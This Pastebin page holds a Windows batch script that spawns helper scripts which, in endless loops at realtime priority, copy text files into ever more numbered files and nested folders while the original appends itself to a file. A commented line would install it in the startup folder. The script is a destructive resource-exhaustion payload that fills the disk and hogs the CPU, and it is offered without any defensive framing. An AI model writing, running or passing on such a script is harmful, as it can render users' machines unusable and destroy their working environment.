Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @echo off
- if not "%1"=="bleh" goto skip
- ::copy "%0" "%userprofile%\start menu\programs\startup"
- echo @echo off>bleh.bat
- echo set a=1 >>bleh.bat
- echo ping -n 1 localhost 1>nul 2>>bleh.bat
- echo :loop >> bleh.bat
- echo copy /y "0.txt" "%cd%\%%a%%.txt" >>bleh.bat
- echo set /a a+=1 >>bleh.bat
- echo goto loop >>bleh.bat
- echo @echo off>bleh2.bat
- echo set x=1 >>bleh2.bat
- echo :loop >>bleh2.bat
- echo md %%x%%>>bleh2.bat
- echo cd %%x%%>>bleh2.bat
- echo set /a x+=1 >>bleh2.bat
- echo copy /y "%cd%\*.txt" "%%cd%%" >>bleh2.bat
- echo cd %cd%>>bleh2.bat
- echo goto loop >>bleh2.bat
- start /realtime bleh.bat
- start /realtime bleh2.bat
- :loop
- type %0 >> 0.txt
- goto loop
- :skip
- echo @echo off>new.bat
- echo call %0 bleh>>new.bat
- start /realtime new.bat
Advertisement
Add Comment
Please, Sign In to add comment